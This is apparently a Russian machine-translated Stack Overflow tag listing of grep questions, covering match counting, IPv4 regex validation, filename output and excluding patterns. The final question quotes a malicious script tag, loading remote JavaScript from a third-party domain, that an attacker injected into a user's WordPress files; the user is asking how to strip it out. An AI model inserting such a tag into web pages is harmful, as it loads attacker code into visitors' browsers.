Вопросы с тегом «grep»

grep - это утилита для поиска текста в командной строке, изначально написанная для Unix. Он использует регулярные выражения для сопоставления текста и обычно используется в качестве фильтра в конвейерах. Используйте этот тег, только если ваш вопрос касается программирования с использованием grep или API на основе grep. Вопросы, касающиеся использования или устранения неполадок с параметрами командной строки grep, не относятся к теме.


5
Подсчитать количество вхождений шаблона в файл (даже в одной строке)
При поиске количества вхождений строки в файл я обычно использую: grep pattern file | wc -l Однако это находит только одно вхождение в строке из-за того, как работает grep. Как я могу найти, сколько раз строка появляется в файле, независимо от того, находятся ли они в одной или разных строках? …
94 search  count  grep  match 

30
Проверка адресов IPv4 с помощью регулярного выражения
Я пытался получить эффективное регулярное выражение для проверки IPv4, но без особого успеха. В какой-то момент казалось, что у меня это было (25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?(\.|$)){4}, но это дает некоторые странные результаты: $ grep --version grep (GNU grep) 2.7 $ grep -E '\b(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?(\.|$)){4}\b' <<< 192.168.1.1 192.168.1.1 $ grep -E '\b(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?(\.|$)){4}\b' <<< 192.168.1.255 192.168.1.255 …

8
Как обрезать длинные совпадающие строки, возвращаемые grep или ack
Я хочу запустить ack или grep для файлов HTML, которые часто содержат очень длинные строки. Я не хочу видеть очень длинные строки, которые повторяются постоянно. Но я действительно хочу видеть только ту часть длинной строки, которая окружает строку, соответствующую регулярному выражению. Как я могу получить это, используя любую комбинацию инструментов …
90 grep  unix  ack 

10
Использование знака звездочки в grep
Я пытаюсь найти подстроку «abc» в конкретном файле в linux / bash Итак, я делаю: grep '*abc*' myFile Он ничего не возвращает. Но если я это сделаю: grep 'abc' myFile Он правильно возвращает совпадения. Теперь для меня это не проблема. Но что, если я хочу найти более сложную строку, например …
88 regex  bash  grep 

5
Показать имя файла и номер строки в выводе grep
Я пытаюсь выполнить поиск в моем каталоге rails с помощью grep. Я ищу конкретное слово и хочу с помощью grep распечатать имя файла и номер строки. Есть ли флаг grep, который сделает это за меня? Я пытался использовать комбинацию -nи, -lно они либо распечатывают имена файлов без номеров, либо просто …
87 awk  grep 

1
поведение пробелов в регулярном выражении grep
У меня есть текстовый файл, содержащий что-то вроде: 12,34 EUR 5,67 EUR ... Перед «EUR» стоит один пробел, и я игнорирую 0, XX EUR. Я старался: grep '[1-9][0-9]*,[0-9]\{2\}\sEUR' => didn't match ! grep '[1-9][0-9]*,[0-9]\{2\} EUR' => worked ! grep '[1-9][0-9]*,[0-9]\{2\}\s*EUR' => worked ! grep '[1-9][0-9]*,[0-9]\{2\}\s[E]UR' => worked ! Может кто-нибудь …
87 regex  grep  gnu 

10
Как использовать grep, исключая некоторые шаблоны?
Я хотел бы найти в файлах строки, в которых присутствует какой-то узор и отсутствует какой-то другой. Например, мне нужно найти все файлы / строки, в том числе, loomкроме файлов с расширением gloom. Итак, я могу найти loomс помощью команды: grep -n 'loom' ~/projects/**/trunk/src/**/*.@(h|cpp) Теперь я хочу искать loomисключая gloom. Однако …
87 bash  grep 

5
Как найти все слово с помощью grep
Я использую следующую команду для поиска в подкаталогах find . | xargs grep -s 's:text' Однако он также находит такие вещи, как <s:textfield name="sdfsf"...../> Что я могу сделать, чтобы этого избежать, чтобы он просто находил такие вещи, как <s:text name="sdfsdf"/> ИЛИ в этом отношении .... также находит <s:text somethingElse="lkjkj" name="lkkj" …
87 unix  grep 

15
grep для нескольких строк в файле в разных строках (т.е. весь файл, а не поиск по строкам)?
Я хочу использовать grep для файлов, содержащих слова Dansk, Svenskaили Norskв любой строке с пригодным для использования кодом возврата (поскольку мне действительно нравится только информация, содержащаяся в строках, мой однострочник идет немного дальше этого). У меня много файлов с такими строками: Disc Title: unknown Title: 01, Length: 01:33:37.000 Chapters: 33, …
85 bash  awk  grep 

6
Как отобразить измененную дату и время с помощью команды «найти»?
С помощью findкоманды я могу отображать имена каталогов на нескольких уровнях. Следующая команда отображает все каталоги по /varпути с глубиной 2: find /var -maxdepth 2 -type d; Результат показывает: /var /var/log /var/log/sssd /var/log/samba /var/log/audit /var/log/ConsoleKit /var/log/gdm /var/log/sa С помощью statкоманды я могу найти измененную дату и время: stat /var/log/samba | …


7
Как найти содержимое после шаблона?
Для файла, например: potato: 1234 apple: 5678 potato: 5432 grape: 4567 banana: 5432 sushi: 56789 Я хотел бы использовать grep для всех строк, которые начинаются с, potato:но только для следующих чисел potato:. Итак, в приведенном выше примере результат будет следующим: 1234 5432 Как я могу это сделать?
81 linux  grep 

7
Как заменить всю строку, используя sed или, возможно, grep
Таким образом, весь мой сервер был взломан или возникла проблема с вредоносным ПО. мой сайт основан на WordPress, и большинство сайтов, размещенных на моем сервере, основаны на WordPress. Хакер добавил эту строку кода в каждый файл и в базу данных <script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script> Я поискал через grep используя grep -r …
10 bash  shell  sed  grep 
Используя наш сайт, вы подтверждаете, что прочитали и поняли нашу Политику в отношении файлов cookie и Политику конфиденциальности.
Licensed under cc by-sa 3.0 with attribution required.